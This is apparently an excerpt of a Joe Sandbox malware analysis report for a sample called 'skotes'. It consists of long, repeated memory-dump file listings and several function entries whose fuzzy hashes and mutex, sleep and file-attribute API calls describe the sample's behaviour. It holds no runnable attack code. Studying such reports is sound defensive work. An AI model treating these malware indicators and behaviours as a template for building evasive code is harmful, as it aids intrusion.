Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 5639d8056d2ba2f230fd92150122e8305a13fa9815cc6c7b54368e75ab850daa
Instruction ID: 6b63846540da08b0afcef707b451af4e71ed0e27e5c1c216d14b0ae03eb1e7d7
Opcode Fuzzy Hash: 5639d8056d2ba2f230fd92150122e8305a13fa9815cc6c7b54368e75ab850daa
Instruction Fuzzy Hash: 993146717442008BEB18DB78ECC9B6EBBA6EFC6311F248218E4189B3D6C77589808B51

Function 00949CDA Relevance: 4.6, APIs: 3, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00949CDD
Sleep.KERNELBASE(00000064,?), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: a72c3e6f59394e4903e286a75762df3d028357f53fef0c6175c432a43909c036
Instruction ID: 1c982656741a98ab26094bf569182708d517ada49a621ad933ee10faf02efe4c
Opcode Fuzzy Hash: a72c3e6f59394e4903e286a75762df3d028357f53fef0c6175c432a43909c036
Instruction Fuzzy Hash: 4B312872B451408BEF18DB78DCC9BAEB7A6DFC6310F248618E418AB3D5C73589808B51

Function 00949F44 Relevance: 4.6, APIs: 3, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00949F47
Sleep.KERNELBASE(00000064,?), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 628b344bb33f7ea8b8537b383486d42be3903d40cd846fbf8445b7a2b39b5fd3
Instruction ID: 34b61bd322d2ec3eca569b44dab43af30b3d3fbae247ffabdddfabd3b2cde08c
Opcode Fuzzy Hash: 628b344bb33f7ea8b8537b383486d42be3903d40cd846fbf8445b7a2b39b5fd3
Instruction Fuzzy Hash: D73159327541008BEB18DB78DC89FADB7A6EFC6310F248718E418EB2D2C73589848B52

Function 0094A079 Relevance: 4.6, APIs: 3, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0094A07C
Sleep.KERNELBASE(00000064,?), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 73216b4fae93b1be42f6c5d1d7af920c73282a444e3e486f778f07f336d48538
Instruction ID: 90517e4409f67aae57f94ed91a2b38d5bdbb328ce7e3bcb001ea9ab1e8dc8e71
Opcode Fuzzy Hash: 73216b4fae93b1be42f6c5d1d7af920c73282a444e3e486f778f07f336d48538
Instruction Fuzzy Hash: E23148317981009BEB18DB78DC89F6DB7A6DBCA310F248218E4149B7D1C73A99808B52

Function 0094A1AE Relevance: 4.6, APIs: 3, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0094A1B1
Sleep.KERNELBASE(00000064,?), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 078db657280f47c39dfbd29f6c4fdf48881cbe4eac35e5ae6ed0936fa883e947
Instruction ID: 39d6b5f04751d8d580ba00e55238a1b787a95fe3d7c53a69cc49edf2a6bec3f3
Opcode Fuzzy Hash: 078db657280f47c39dfbd29f6c4fdf48881cbe4eac35e5ae6ed0936fa883e947
Instruction Fuzzy Hash: A63148317841419BEB18DB78DC8DF6DB7A6EFCA310F248318E4249B2D1D77A99808B52

Function 0094A2E3 Relevance: 4.6, APIs: 3, Instructions: 134
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0094A2E6
Sleep.KERNELBASE(00000064,?), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
